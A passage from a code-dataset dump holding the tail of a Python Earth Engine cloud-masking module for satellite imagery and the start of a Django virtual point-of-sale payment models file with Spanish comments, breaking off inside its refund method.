img.select(\"state_1km\")\n cloud = tools.compute_bits_client(cmask, 0, 0, \"cloud\")\n mix = tools.compute_bits_client(cmask, 1, 1, \"mix\")\n shadow = tools.compute_bits_client(cmask, 2, 2, \"shadow\")\n cloud2 = tools.compute_bits_client(cmask, 10, 10, \"cloud2\")\n snow = tools.compute_bits_client(cmask, 12, 12, \"snow\")\n\n mask = (cloud\n .Or(mix)\n # .Or(shadow) # Cloud shadow seems to be miscomputed (MODIS/MYD09GA/MYD09GA_005_2015_09_18)\n .Or(cloud2)\n .Or(snow)\n )\n\n return img.updateMask(mask.Not())\n\n# SENTINEL 2\ndef sentinel2_(image):\n \"\"\" DEPRECATED\n\n Function to use in SENTINEL2 Collection\n\n Use:\n `masked = collection.map(cloud_mask.sentinel2)`\n \"\"\"\n nubes = image.select(\"QA60\")\n opaque = tools.compute_bits_client(nubes, 10, 10, \"opaque\")\n cirrus = tools.compute_bits_client(nubes, 11, 11, \"cirrus\")\n mask = opaque.Or(cirrus)\n result = image.updateMask(mask.Not())\n return result\n\n# FMASK\ndef fmask(bandname=\"fmask\"):\n \"\"\" DEPRECATED\n\n Function to use in Collections that have a quality band computed with\n fmask algorithm\n\n The use of this function is a little different from the other because it\n is a function that returns a function, so you must call it to return the\n function to use in map:\n\n `masked = collection.map(cloud_mask.fmask())`\n\n :param bandname: name of the band that holds the fmask information\n :type bandname: str\n :return: a function to use in map\n :rtype: function\n \"\"\"\n\n def fmask(image):\n imgFmask = image.select(bandname)\n shadow = imgFmask.eq(3)\n snow = imgFmask.eq(4)\n cloud = imgFmask.eq(5)\n\n mask = shadow.Or(snow).Or(cloud)\n\n imgMask = image.updateMask(mask.Not())\n return imgMask\n return fmask\n\ndef usgs(image):\n \"\"\" DEPRECATED\n\n Function to use in Surface Reflectance Collections computed by USGS\n\n Use:\n\n `masked = collection.map(cloud_mask.usgs)`\n \"\"\"\n image = fmask(\"cfmask\")(image)\n cloud = image.select(\"sr_cloud_qa\").neq(255)\n shad = image.select(\"sr_cloud_shadow_qa\").neq(255)\n return image.updateMask(cloud).updateMask(shad)\n\ndef cfmask_bits(image):\n \"\"\" DEPRECATED\n\n Function to use in Landsat Surface Reflectance Collections:\n LANDSAT/LT04/C01/T1_SR, LANDSAT/LT05/C01/T1_SR, LANDSAT/LE07/C01/T1_SR,\n LANDSAT/LC08/C01/T1_SR\n\n Use:\n\n `masked = collection.map(cloud_mask.cfmask_bits)`\n \"\"\"\n bands = image.bandNames()\n contains_sr = bands.contains('sr_cloud_qa')\n\n def sr():\n mask = image.select('sr_cloud_qa')\n cloud_mask = tools.compute_bits(mask, 1, 1, 'cloud')\n shadow_mask = tools.compute_bits(mask, 2, 2, 'shadow')\n adjacent_mask = tools.compute_bits(mask, 3, 3, 'adjacent')\n snow_mask = tools.compute_bits(mask, 4, 4, 'snow')\n\n good_pix = cloud_mask.eq(0).And(shadow_mask.eq(0)).And(snow_mask.eq(0)).And(adjacent_mask.eq(0))\n return good_pix\n\n def pix():\n mask = image.select('pixel_qa')\n cloud_mask = tools.compute_bits(mask, 5, 5, 'cloud')\n shadow_mask = tools.compute_bits(mask, 3, 3, 'shadow')\n snow_mask = tools.compute_bits(mask, 4, 4, 'snow')\n\n good_pix = cloud_mask.eq(0).And(shadow_mask.eq(0)).And(snow_mask.eq(0))\n return good_pix\n\n good_pix = ee.Algorithms.If(contains_sr, sr(), pix())\n\n result = image.updateMask(good_pix)\n\n return result\n\ndef landsatTOA_(masks=['cloud', 'shadow', 'snow']):\n ''' DEPRECATED\n\n Function to mask out clouds, shadows and snow in Landsat 4 5 7 8 TOA:\n LANDSAT/LT04/C01/T1_TOA, LANDSAT/LT05/C01/T1_TOA, LANDSAT/LE07/C01/T1_TOA\n and LANDSAT/LC08/C01/T1_TOA\n\n :param masks: list of mask to compute\n :type masks: list\n :return: the funtion to apply in a map algorithm\n :rtype: function\n '''\n options = ee.List(masks)\n\n def wrap(img):\n mask = img.select('BQA')\n cloud_mask = tools.compute_bits_client(mask, 4, 4, 'cloud')\n shadow_mask = tools.compute_bits_client(mask, 8, 8, 'shadow')\n snow_mask = tools.compute_bits_client(mask, 10, 10, 'snow')\n\n relation = ee.Dictionary({\n 'cloud': cloud_mask,\n 'shadow': shadow_mask,\n 'snow': snow_mask\n })\n\n masks_list = tools.get_from_dict(options, relation) # make a list of masks\n good_pix = apply_masks(masks_list)\n\n return img.updateMask(good_pix)\n\n return wrap\n#############################\n\ndef modis(options=['cloud', 'mix', 'shadow', 'cloud2', 'snow'], name='modis_mask',\n addBands=False, updateMask=True):\n bits = {\n 'cloud': 0,\n 'mix': 1,\n 'shadow': 2,\n 'cloud2':10,\n 'snow':12}\n\n mask_band = 'state_1km'\n\n options = ee.List(options)\n def wrap(image):\n good_pix = compute(image, mask_band, bits, options, name_all=name)\n\n mask = good_pix.select([name]).Not()\n\n if addBands and updateMask:\n return image.updateMask(mask).addBands(good_pix)\n elif addBands:\n return image.addBands(good_pix)\n elif updateMask:\n return image.updateMask(mask)\n else:\n return image\n\n return wrap\n\ndef sentinel2(options=['opaque', 'cirrus'], name='esa_mask',\n addBands=False, updateMask=True):\n \"\"\" ESA Cloud cover assessment\n\n :param options: category to mask out. Can be: 'opaque' or/and 'cirrus'\n :type options: list\n :return: the function to mask out clouds\n \"\"\"\n\n rel = {'opaque': 10, 'cirrus':11}\n band = 'QA60'\n\n def wrap(img):\n good_pix = compute(img, band, rel, options, name_all=name)\n mask = good_pix.select([name]).Not()\n\n if addBands and updateMask:\n return img.updateMask(mask).addBands(good_pix)\n elif addBands:\n return img.addBands(good_pix)\n elif updateMask:\n return img.updateMask(mask)\n else:\n return img\n\n return wrap\n\n# LEDAPS\ndef ledaps(image):\n \"\"\" Function to use in Surface Reflectance Collections computed by\n LEDAPS\n\n Use:\n\n `masked = collection.map(cloud_mask.ledaps)`\n \"\"\"\n cmask = image.select('QA')\n\n valid_data_mask = tools.compute_bits(cmask, 1, 1, 'valid_data')\n cloud_mask = tools.compute_bits(cmask, 2, 2, 'cloud')\n snow_mask = tools.compute_bits(cmask, 4, 4, 'snow')\n\n good_pix = cloud_mask.eq(0).And(valid_data_mask.eq(0)).And(snow_mask.eq(0))\n result = image.updateMask(good_pix)\n\n return result\n\ndef landsatSR(options=['cloud', 'shadow', 'adjacent', 'snow'], name='sr_mask',\n addBands=False, updateMask=True):\n \"\"\" Function to use in Landsat Surface Reflectance Collections:\n LANDSAT/LT04/C01/T1_SR, LANDSAT/LT05/C01/T1_SR, LANDSAT/LE07/C01/T1_SR,\n LANDSAT/LC08/C01/T1_SR\n\n :param options: masks to apply. Options: 'cloud', 'shadow', 'adjacent',\n 'snow'\n :type options: list\n :param name: name of the band that will hold the final mask. Default: 'toa_mask'\n :type name: str\n :param addBands: add all bands to the image. Default: False\n :type addBands: bool\n :param updateMask: update the mask of the Image. Default: True\n :type updateMask: bool\n :return: a function for applying the mask\n :rtype: function\n \"\"\"\n sr = {'bits': ee.Dictionary({'cloud': 1, 'shadow': 2, 'adjacent': 3, 'snow': 4}),\n 'band': 'sr_cloud_qa'}\n\n pix = {'bits': ee.Dictionary({'cloud': 5, 'shadow': 3, 'snow': 4}),\n 'band': 'pixel_qa'}\n\n # Parameters\n options = ee.List(options)\n\n def wrap(image):\n bands = image.bandNames()\n contains_sr = bands.contains('sr_cloud_qa')\n good_pix = ee.Image(ee.Algorithms.If(contains_sr,\n compute(image, sr['band'], sr['bits'], options, name_all=name),\n compute(image, pix['band'], pix['bits'], options, name_all=name)))\n\n mask = good_pix.select([name]).Not()\n\n if addBands and updateMask:\n return image.updateMask(mask).addBands(good_pix)\n elif addBands:\n return image.addBands(good_pix)\n elif updateMask:\n return image.updateMask(mask)\n else:\n return image\n\n return wrap\n\ndef landsatTOA(options=['cloud', 'shadow', 'snow'], name='toa_mask',\n addBands=False, updateMask=True):\n \"\"\" Function to mask out clouds, shadows and snow in Landsat 4 5 7 8 TOA:\n LANDSAT/LT04/C01/T1_TOA, LANDSAT/LT05/C01/T1_TOA, LANDSAT/LE07/C01/T1_TOA\n and LANDSAT/LC08/C01/T1_TOA\n\n :param options: masks to apply. Options: 'cloud', 'shadow', 'snow'\n :type options: list\n :param name: name of the band that will hold the final mask. Default: 'toa_mask'\n :type name: str\n :param addBands: add all bands to the image. Default: False\n :type addBands: bool\n :param updateMask: update the mask of the Image. Default: True\n :type updateMask: bool\n :return: a function for applying the mask\n :rtype: function\n \"\"\"\n bits = ee.Dictionary({'cloud': 4, 'shadow': 8, 'snow': 10})\n mask_band = 'BQA'\n\n # Parameters\n opt = options if options else bits.keys()\n options = ee.List(opt)\n\n def wrap(image):\n good_pix = compute(image, mask_band, bits, options, name_all=name)\n\n mask = good_pix.select([name]).Not()\n\n if addBands and updateMask:\n return image.updateMask(mask).addBands(good_pix)\n elif addBands:\n return image.addBands(good_pix)\n elif updateMask:\n return image.updateMask(mask)\n else:\n return image\n\n return wrap\n\ndef hollstein_S2(options=['cloud', 'snow', 'shadow', 'water', 'cirrus'],\n name='hollstein', addBands=False, updateMask=True):\n \"\"\"\n\n :param options: masks to apply. Options: 'cloud', 'shadow', 'snow',\n 'cirrus', 'water'\n :type options: list\n :param name: name of the band that will hold the final mask. Default: 'hollstein'\n :type name: str\n :param addBands: add all bands to the image. Default: False\n :type addBands: bool\n :param updateMask: update the mask of the Image. Default: True\n :type updateMask: bool\n :return: a function for applying the mask\n :rtype: function\n \"\"\"\n\n def difference(a, b):\n def wrap(img):\n return img.select(a).subtract(img.select(b))\n return wrap\n\n def ratio(a, b):\n def wrap(img):\n return img.select(a).divide(img.select(b))\n return wrap\n\n def compute_dt(img):\n\n # 1\n b3 = img.select('B3').lt(3190)\n\n # 2\n b8a = img.select('B8A').lt(1660)\n r511 = ratio('B5', 'B11')(img).lt(4.33)\n\n # 3\n s1110 = difference('B11', 'B10')(img).lt(2550)\n b3_3 = img.select('B3').lt(5250)\n r210 = ratio('B2','B10')(img).lt(14.689)\n s37 = difference('B3', 'B7')(img).lt(270)\n\n # 4\n r15 = ratio('B1', 'B5')(img).lt(1.184)\n s67 = difference('B6', 'B7')(img).lt(-160)\n b1 = img.select('B1').lt(3000)\n r29 = ratio('B2', 'B9')(img).lt(0.788)\n s911 = difference('B9', 'B11')(img).lt(210)\n s911_2 = difference('B9', 'B11')(img).lt(-970)\n\n snow = {'snow':[['1',0], ['22',0], ['34',0]]}\n cloud = {'cloud-1':[['1',0], ['22',1],['33',1],['44',1]],\n 'cloud-2':[['1',0], ['22',1],['33',0],['45',0]]}\n cirrus = {'cirrus-1':[['1',0], ['22',1],['33',1],['44',0]],\n 'cirrus-2':[['1',1], ['21',0],['32',1],['43',0]]}\n shadow = {'shadow-1':[['1',1], ['21',1],['31',1],['41',0]],\n 'shadow-2':[['1',1], ['21',1],['31',0],['42',0]],\n 'shadow-3':[['1',0], ['22',0],['34',1],['46',0]]}\n water = {'water':[['1',1], ['21',1],['31',0],['42',1]]}\n\n all = {'cloud':cloud,\n 'snow': snow,\n 'shadow':shadow,\n 'water':water,\n 'cirrus':cirrus}\n\n final = {}\n\n for option in options:\n final.update(all[option])\n\n dtf = decision_tree.binary(\n {'1':b3,\n '21':b8a, '22':r511,\n '31':s37, '32':r210, '33':s1110, '34':b3_3,\n '41': s911_2, '42':s911, '43':r29, '44':s67, '45':b1, '46':r15\n }, final, name)\n\n results = dtf\n\n if updateMask and addBands:\n return img.addBands(results).updateMask(results.select(name))\n elif addBands:\n return img.addBands(results)\n elif updateMask:\n return img.updateMask(results.select(name))\n\n return compute_dt","sub_path":"geetools/cloud_mask.py","file_name":"cloud_mask.py","file_ext":"py","file_size_in_byte":15563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"279689421","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals, print_function\nimport base64\nimport json\nimport re\nimport cgi\n\n###########################################\n# Sistema de depuración\n\nfrom bs4 import BeautifulSoup\nfrom debug import dlprint\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom django.db import models\n\nfrom django.conf import settings\nfrom django.core.validators import MinLengthValidator, MaxLengthValidator, RegexValidator\nfrom django.db.models import Sum\nfrom django.http import HttpResponse\nfrom django.utils import timezone\n\nfrom django.shortcuts import redirect\nfrom django.core.urlresolvers import reverse\nimport random\nimport urllib2, urllib\nimport urlparse\nimport hashlib\nfrom django.utils import translation\nfrom Crypto.Cipher import DES3\nfrom Crypto.Hash import SHA256, HMAC\nfrom lxml import etree\nimport datetime\nimport time\nfrom decimal import Decimal\nfrom djangovirtualpos.util import dictlist, localize_datetime\nfrom django.utils.translation import ugettext_lazy as _\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n\nVPOS_TYPES = (\n (\"ceca\", _(\"TPV Virtual - Confederación Española de Cajas de Ahorros (CECA)\")),\n (\"paypal\", _(\"Paypal\")),\n (\"redsys\", _(\"TPV Redsys\")),\n (\"santanderelavon\", _(\"TPV Santander Elavon\")),\n)\n\n## Relación entre tipos de TPVs y clases delegadas\nVPOS_CLASSES = {\n \"ceca\": \"VPOSCeca\",\n \"redsys\": \"VPOSRedsys\",\n \"paypal\": \"VPOSPaypal\",\n \"santanderelavon\": \"VPOSSantanderElavon\",\n}\n\n\n########################################################################\n## Obtiene la clase delegada a partir del tipo de TPV.\n## La clase delegada ha de estar definida en el\n## diccionario TPV_CLASSES en vpos.models.\ndef get_delegated_class(virtualpos_type):\n try:\n # __name__ Es el nombre del módulo actual, esto es,\n # un str con el contenido \"vpos.models\"\n\n # __import__(__name__) es el objeto módulo \"vpos\".\n\n # __import__(__name__, globals(), locals(), [\"models\"])\n # carga el objeto módulo \"vpos.models\"\n mdl = __import__(__name__, globals(), locals(), [\"models\"])\n\n # getattr obtiene un atributo de un objeto, luego sacamos el\n # objeto clase a partir de su nombre y del objeto módulo \"vpos.models\"\n cls = getattr(mdl, VPOS_CLASSES[virtualpos_type])\n return cls\n except KeyError:\n raise ValueError(_(u\"The virtual point of sale {0} does not exist\").format(virtualpos_type))\n\n\n####################################################################\n## Opciones del campo STATUS\n## STATUS: estado en el que se encuentra la operación de pago\nVPOS_STATUS_CHOICES = (\n (\"pending\", _(u\"Pending\")),\n (\"completed\", _(u\"Completed\")),\n (\"failed\", _(u\"Failed\")),\n (\"partially_refunded\", _(u\"Partially Refunded\")),\n (\"completely_refunded\", _(u\"Completely Refunded\")),\n)\n\nVPOS_REFUND_STATUS_CHOICES = (\n (\"pending\", _(u\"Pending\")),\n (\"completed\", _(u\"Completed\")),\n (\"failed\", _(u\"Failed\")),\n)\n\n\n####################################################################\n## Tipos de estado del TPV\nVIRTUALPOS_STATE_TYPES = (\n (\"testing\", \"Pruebas\"),\n (\"production\", \"Producción\")\n)\n\n####################################################################\n## Operación de pago de TPV\nclass VPOSPaymentOperation(models.Model):\n \"\"\"\n Configuratión del pago para un TPV\n \"\"\"\n amount = models.DecimalField(max_digits=6, decimal_places=2, null=False, blank=False,\n verbose_name=u\"Coste de la operación\")\n description = models.CharField(max_length=512, null=False, blank=False, verbose_name=u\"Descripción de la venta\")\n url_ok = models.CharField(max_length=255, null=False, blank=False, verbose_name=u\"URL de OK\",\n help_text=u\"URL a la que redirige la pasarela bancaria cuando la compra ha sido un éxito\")\n url_nok = models.CharField(max_length=255, null=False, blank=False, verbose_name=u\"URL de NOK\",\n help_text=u\"URL a la que redirige la pasarela bancaria cuando la compra ha fallado\")\n operation_number = models.CharField(max_length=255, null=False, blank=False, verbose_name=u\"Número de operación\")\n confirmation_code = models.CharField(max_length=255, null=True, blank=False,\n verbose_name=\"Código de confirmación enviado por el banco.\")\n confirmation_data = models.TextField(null=True, blank=False,\n verbose_name=\"POST enviado por la pasarela bancaria al confirmar la compra.\")\n sale_code = models.CharField(max_length=512, null=False, blank=False, verbose_name=u\"Código de la venta\",\n help_text=u\"Código de la venta según la aplicación.\")\n status = models.CharField(max_length=64, choices=VPOS_STATUS_CHOICES, null=False, blank=False,\n verbose_name=u\"Estado del pago\")\n\n response_code = models.CharField(max_length=255, null=True, blank=False,\n verbose_name=u\"Código de respuesta con estado de aceptación o denegación de la operación.\")\n\n creation_datetime = models.DateTimeField(verbose_name=\"Fecha de creación del objeto\")\n last_update_datetime = models.DateTimeField(verbose_name=\"Fecha de última actualización del objeto\")\n\n type = models.CharField(max_length=16, choices=VPOS_TYPES, default=\"\", verbose_name=\"Tipo de TPV\")\n virtual_point_of_sale = models.ForeignKey(\"VirtualPointOfSale\", parent_link=True, related_name=\"payment_operations\", null=False)\n environment = models.CharField(max_length=255, choices=VIRTUALPOS_STATE_TYPES, default=\"\", blank=True, verbose_name=\"Entorno del TPV\")\n\n @property\n def vpos(self):\n return self.virtual_point_of_sale\n\n @property\n def total_amount_refunded(self):\n return self.refund_operations.filter(status='completed').aggregate(Sum('amount'))['amount__sum']\n\n # Comprueba si un pago ha sido totalmente debuelto y cambia el estado en coherencias.\n def compute_payment_refunded_status(self):\n\n if self.total_amount_refunded == self.amount:\n self.status = \"completely_refunded\"\n\n elif self.total_amount_refunded < self.amount:\n dlprint('Devolución parcial de pago.')\n self.status = \"partially_refunded\"\n\n elif self.total_amount_refunded > self.amount:\n raise ValueError(u'ERROR. Este caso es imposible, no se puede reembolsar una cantidad superior al pago.')\n\n self.save()\n\n\n ## Guarda el objeto en BD, en realidad lo único que hace es actualizar los datetimes\n def save(self, *args, **kwargs):\n \"\"\"\n Guarda el objeto en BD, en realidad lo único que hace es actualizar los datetimes.\n El datetime de actualización se actualiza siempre, el de creación sólo al guardar de nuevas.\n \"\"\"\n # Datetime con el momento actual en UTC\n now_datetime = datetime.datetime.now()\n # Si no se ha guardado aún, el datetime de creación es la fecha actual\n if not self.id:\n self.creation_datetime = localize_datetime(now_datetime)\n # El datetime de actualización es la fecha actual\n self.last_update_datetime = localize_datetime(now_datetime)\n # Llamada al constructor del padre\n super(VPOSPaymentOperation, self).save(*args, **kwargs)\n\n\n####################################################################\n####################################################################\n\n# Excepción para indicar que la operación charge ha devuelto una respuesta incorrecta o de fallo\nclass VPOSCantCharge(Exception): pass\n\n# Excepción para indicar que no se ha implementado una operación para un tipo de TPV en particular.\nclass VPOSOperationDontImplemented(Exception): pass\n\n# Cuando se produce un error al realizar una operación en concreto.\nclass VPOSOperationException(Exception): pass\n\n\n####################################################################\n## Clase que contiene las operaciones de pago de forma genérica\n## actúa de fachada de forma que el resto del software no conozca\n##\nclass VirtualPointOfSale(models.Model):\n \"\"\"\n Clases que actúa como clase base para la relación de especialización.\n\n Cada clase especializada estará relacionada con ésta en una relación\n uno a uno.\n\n Esta clase no podrá tener un campo para mantener las relaciones con\n las clases especializadas ya que cada una estará en tablas diferentes.\n\n Para este modelo se crea la tabla de forma automática con syncdb.\n \"\"\"\n\n ## Nombre único del TPV\n name = models.CharField(max_length=128, null=False, blank=False, verbose_name=\"Nombre\")\n\n ## Nombre único del banco que tiene asociado el TPV\n bank_name = models.CharField(max_length=128, null=False, blank=False, verbose_name=\"Nombre de la entidad bancaria\")\n\n ## Tipo de TPV. Indica la naturaleza del TPV.\n type = models.CharField(max_length=16, choices=VPOS_TYPES, default=\"\", verbose_name=\"Tipo de TPV\")\n\n ## Nombre del distribuidor del plan\n distributor_name = models.CharField(null=False, blank=True, max_length=512,\n verbose_name=\"Razón social del distribuidor\",\n help_text=\"Razón social del distribuidor.\")\n\n ## CIF del organizador del plan\n distributor_cif = models.CharField(null=False, blank=True, max_length=150,\n verbose_name=\"CIF del distribuidor\",\n help_text=\"C.I.F. del distribuidor.\")\n\n ## Estado del TPV: por si es de pruebas o de producción\n environment = models.CharField(max_length=16, null=False, blank=False, choices=VIRTUALPOS_STATE_TYPES,\n default=\"testing\",\n verbose_name=\"Entorno de ejecución del TPV\",\n help_text=\"Entorno de ejecución en el que se encuentra el TPV. Una vez que el TPV esté en entorno de 'producción' no cambie a entorno de 'pruebas' a no ser que esté seguro de lo que hace.\")\n\n ## Permite realizar devoluciones parciales\n has_partial_refunds = models.BooleanField(default=False, verbose_name=\"Indica si tiene devoluciones parciales.\",\n help_text=\"Indica si se pueden realizar devoluciones por un importe menor que el total de la venta (por ejemplo, para devolver tickets individuales).\")\n\n ## Permite realizar devoluciones totales\n has_total_refunds = models.BooleanField(default=False, verbose_name=\"Indica si tiene devoluciones totales.\",\n help_text=\"Indica si se pueden realizar devoluciones por un importe igual al total de la venta.\")\n\n ## Borrados lógicos\n is_erased = models.BooleanField(default=False, verbose_name=\"Indica si el TPV está eliminado.\",\n help_text=\"Indica si el TPV está eliminado de forma lógica.\")\n\n ## Configuración de la operación de pago (actúa también como registro de la operación de pago)\n operation = None\n\n ## Objeto en el que se delegan las llamadas específicas de la pasarela de pagos dependiente del tipo de TPV\n delegated = None\n\n class Meta:\n ordering = ['name']\n verbose_name = \"virtual point of sale\"\n verbose_name_plural = \"virtual points of sale\"\n permissions = (\n (\"view_virtualpointofsale\", \"View Virtual Points of Sale\"),\n )\n\n def __unicode__(self):\n return self.name\n\n def meta(self):\n \"\"\"Obtiene la metainformación de objetos de este modelo.\"\"\"\n return self._meta\n\n @property\n def operation_prefix(self):\n \"\"\"\n Prefijo de operación asociado a este TPV.\n Se consulta al delegado para obtenerlo.\n :return: string | None\n \"\"\"\n self._init_delegated()\n # Algunos tipos de TPV no tienen este atributo (PayPal)\n if hasattr(self.delegated, \"operation_number_prefix\"):\n prefix = getattr(self.delegated, \"operation_number_prefix\")\n else:\n prefix = \"n/a\"\n\n return prefix\n\n ####################################################################\n ## Elimina de forma lógica el objeto\n def erase(self):\n self.is_erased = True\n self.save()\n\n ####################################################################\n ## Obtiene el texto de ayuda del tipo del TPV\n def get_type_help(self):\n return dict(VPOS_TYPES)[self.type]\n\n ####################################################################\n ## Devuelve el TPV específico\n @property\n def specific_vpos(self):\n delegated_class = get_delegated_class(self.type)\n try:\n return delegated_class.objects.get(parent_id=self.id)\n except delegated_class.DoesNotExist as e:\n raise ValueError(u\" No existe ningún vpos del tipo {0} con el identificador {1}\".format(self.type, self.id))\n\n ####################################################################\n ## Constructor: Inicializa el objeto TPV\n def _init_delegated(self):\n \"\"\"\n Devuelve la configuración del TPV como una instancia del\n modelo hijo asociado.\n\n Como, en función del TPV, la configuración se almacena en tablas\n diferentes y, por lo tanto, cada una tiene su propio modelo,\n el resultado devuelto por esta función será una instancia del\n modelo correspondiente.\n\n Este método habrá que actualizarlo cada vez que se añada un\n TPV nuevo.\n \"\"\"\n\n self.delegated = None\n delegated_class = get_delegated_class(self.type)\n\n try:\n self.delegated = delegated_class.objects.get(parent_id=self.id)\n except delegated_class.DoesNotExist as e:\n raise ValueError(\n unicode(e) + u\" No existe ningún vpos del tipo {0} con el identificador {1}\".format(self.type, self.id))\n\n # Necesito los datos dinámicos de mi padre, que es un objeto de\n # la clase Tpv, si usásemos directamente desde el delegated\n # self.parent, se traería de la BD los datos de ese objeto\n # y nosotros queremos sus datos y además, sus atributos dinámicos\n self.delegated.parent = self\n\n return self.delegated\n\n ####################################################################\n ## Obtiene un objeto TPV a partir de una serie de filtros\n @staticmethod\n def get(**kwargs):\n vpos = VirtualPointOfSale.objects.get(**kwargs)\n vpos._init_delegated()\n return vpos\n\n ####################################################################\n ## Paso 1.1. Configuración del pago\n def configurePayment(self, amount, description, url_ok, url_nok, sale_code):\n \"\"\"\n Configura el pago por TPV.\n Prepara el objeto TPV para\n - Pagar una cantidad concreta\n - Establecera una descripción al pago\n - Establecer las URLs de OK y NOK\n - Alamacenar el código de venta de la operación\n \"\"\"\n if type(amount) == int or type(amount) == Decimal:\n amount = float(amount)\n if type(amount) != float or amount < 0.0:\n raise ValueError(u\"La cantidad debe ser un flotante positivo\")\n if sale_code is None or sale_code == \"\":\n raise ValueError(u\"El código de venta no puede estar vacío\")\n if description is None or description == \"\":\n raise ValueError(u\"La descripción de la venta no puede estar vacía\")\n # Estas dos condiciones se han de eliminar\n # si algún TPV no utiliza url_ok y url_nok\n if url_ok is None or type(url_ok) != str or url_ok == \"\":\n raise ValueError(u\"La url_ok no puede estar vacía. Ha de ser un str.\")\n if url_nok is None or type(url_nok) != str or url_nok == \"\":\n raise ValueError(u\"La url_nok no puede estar vacía. Ha de ser un str.\")\n\n # Creación de la operación\n # (se guarda cuando se tenga el número de operación)\n self.operation = VPOSPaymentOperation(\n amount=amount, description=description, url_ok=url_ok, url_nok=url_nok,\n sale_code=sale_code, status=\"pending\",\n virtual_point_of_sale=self, type=self.type, environment=self.environment\n )\n\n # Configuración específica (requiere que exista self.operation)\n self.delegated.configurePayment()\n\n ####################################################################\n ## Paso 1.2. Preparación del TPV y Generación del número de operación\n def setupPayment(self):\n \"\"\"\n Prepara el TPV.\n Genera el número de operación y prepara el proceso de pago.\n \"\"\"\n if self.operation is None:\n raise Exception(u\"No se ha configurado la operación, ¿ha llamado a vpos.configurePayment antes?\")\n\n # Comprobamos que no se tenga ya un segundo código de operación\n # de TPV para el mismo código de venta\n # Si existe, devolvemos el número de operación existente\n stored_operations = VPOSPaymentOperation.objects.filter(\n sale_code=self.operation.sale_code,\n status=\"pending\",\n virtual_point_of_sale_id=self.operation.virtual_point_of_sale_id\n )\n if stored_operations.count() >= 1:\n self.operation = stored_operations[0]\n return self.delegated.setupPayment(operation_number=self.operation.operation_number)\n\n # No existe un código de operación de TPV anterior para\n # este código de venta, por lo que generamos un número de operación nuevo\n # Comprobamos que el número de operación generado por el delegado\n # es único en la tabla de TpvPaymentOperation\n operation_number = None\n while operation_number is None or VPOSPaymentOperation.objects.filter(\n operation_number=operation_number).count() > 0:\n operation_number = self.delegated.setupPayment()\n dlprint(\"entra al delegado para configurar el operation number:{0}\".format(operation_number))\n\n # Asignamos el número de operación único\n self.operation.operation_number = operation_number\n self.operation.save()\n dlprint(\"Operation {0} creada en BD\".format(operation_number))\n return self.operation.operation_number\n\n ####################################################################\n ## Paso 1.3. Obtiene los datos de pago\n ## Este método será el que genere los campos del formulario de pago\n ## que se rellenarán desde el cliente (por Javascript)\n def getPaymentFormData(self, *args, **kwargs):\n if self.operation.operation_number is None:\n raise Exception(u\"No se ha generado el número de operación, ¿ha llamado a vpos.setupPayment antes?\")\n data = self.delegated.getPaymentFormData(*args, **kwargs)\n data[\"type\"] = self.type\n return data\n\n ####################################################################\n ## Paso 2. Envío de los datos de la transacción (incluyendo \"amount\")\n ## a la pasarela bancaria, a partir del número de operación.\n ## TODO: no se implementa hasta que sea necesario.\n def getPaymentDetails(self):\n pass\n\n ####################################################################\n ## Paso 3.1. Obtiene el número de operación y los datos que nos\n ## envíe la pasarela de pago para luego realizar la verificación.\n @staticmethod\n def receiveConfirmation(request, virtualpos_type):\n\n delegated_class = get_delegated_class(virtualpos_type)\n delegated = delegated_class.receiveConfirmation(request)\n\n if delegated:\n vpos = delegated.parent\n return vpos\n\n return False\n\n ####################################################################\n ## Paso 3.2. Realiza la verificación de los datos enviados por\n ## la pasarela de pago, para comprobar si el pago ha de marcarse\n ## como pagado\n def verifyConfirmation(self):\n dlprint(\"vpos.verifyConfirmation\")\n return self.delegated.verifyConfirmation()\n\n ####################################################################\n ## Paso 3.3 Enviar respuesta al TPV,\n ## la respuesta pueden ser la siguientes:\n\n ####################################################################\n ## Paso 3.3a Completar el pago.\n ## Última comunicación con el TPV.\n ## La comunicación real sólo se realiza en PayPal y Santander Elavon, dado que en CECA\n ## y otros tienen una verificación y una respuesta con \"OK\".\n ## En cualquier caso, es necesario que la aplicación llame a este\n ## método para terminar correctamente el proceso.\n def charge(self):\n # Bloquear otras transacciones\n VPOSPaymentOperation.objects.select_for_update().filter(id=self.operation.id)\n\n # Realizamos el cargo\n response = self.delegated.charge()\n # Cambiamos el estado de la operación\n self.operation.status = \"completed\"\n self.operation.save()\n dlprint(\"Operation {0} actualizada en charge()\".format(self.operation.operation_number))\n\n # Devolvemos el cargo\n return response\n\n\n\n ####################################################################\n ## Paso 3.3b1. Error en verificación.\n ## No se ha podido recuperar la instancia de TPV de la respuesta del\n ## banco. Se devuelve una respuesta de Nok específica por tipo de TPV.\n @staticmethod\n def staticResponseNok(vpos_type):\n dlprint(\"vpos.staticResponseNok\")\n\n delegated_class = get_delegated_class(vpos_type)\n dummy_delegated = delegated_class()\n\n return dummy_delegated.responseNok()\n\n ####################################################################\n ## Paso 3.3b2. Error en verificación.\n ## Si ha habido un error en la veritificación, se ha de dar una\n ## respuesta negativa a la pasarela bancaria.\n def responseNok(self, extended_status=\"\"):\n dlprint(\"vpos.responseNok\")\n self.operation.status = \"failed\"\n\n if extended_status:\n self.operation.status = u\"{0}. {1}\".format(self.operation.status, extended_status)\n\n self.operation.save()\n\n return self.delegated.responseNok()\n\n ####################################################################\n ## Paso R. (Refund) Configura el TPV en modo devolución\n ## TODO: Se implementa solo para Redsys\n def refund(self, operation_sale_code, refund_amount, description):\n \"\"\"\n 1. Realiza las comprobaciones necesarias, para determinar si la operación es permitida,\n (en caso contrario se lanzan las correspondientes excepciones).\n 2. Crea un objeto VPOSRefundOperation (con estado pendiente).\n 3. Llama al delegado, que implementa las particularidades para la comunicación con el TPV concreto.\n 4. Actualiza el estado del pago, según se encuentra 'parcialmente devuelto' o 'totalmente devuelto'.\n 5. Actualiza el estado de la devolución a 'completada' o 'fallada'.\n\n @param operation_sale_code: Código del pago que pretendemos reembolsar.\n @param refund_amount: Cantidad del pago que reembolsamos\n @param description: Descripción del motivo por el cual se realiza la devolución.\n \"\"\"\n\n try:\n # Cargamos la operación sobre la que vamos a realizar la devolución.\n payment_operation = VPOSPaymentOperation.objects.get(sale_code=operation_sale_code)\n except ObjectDoesNotExist:\n raise Exception(u\"No se puede cargar una operación anterior con el código {0}\".format(operation_sale_code))\n\n if (not self.has_total_refunds) 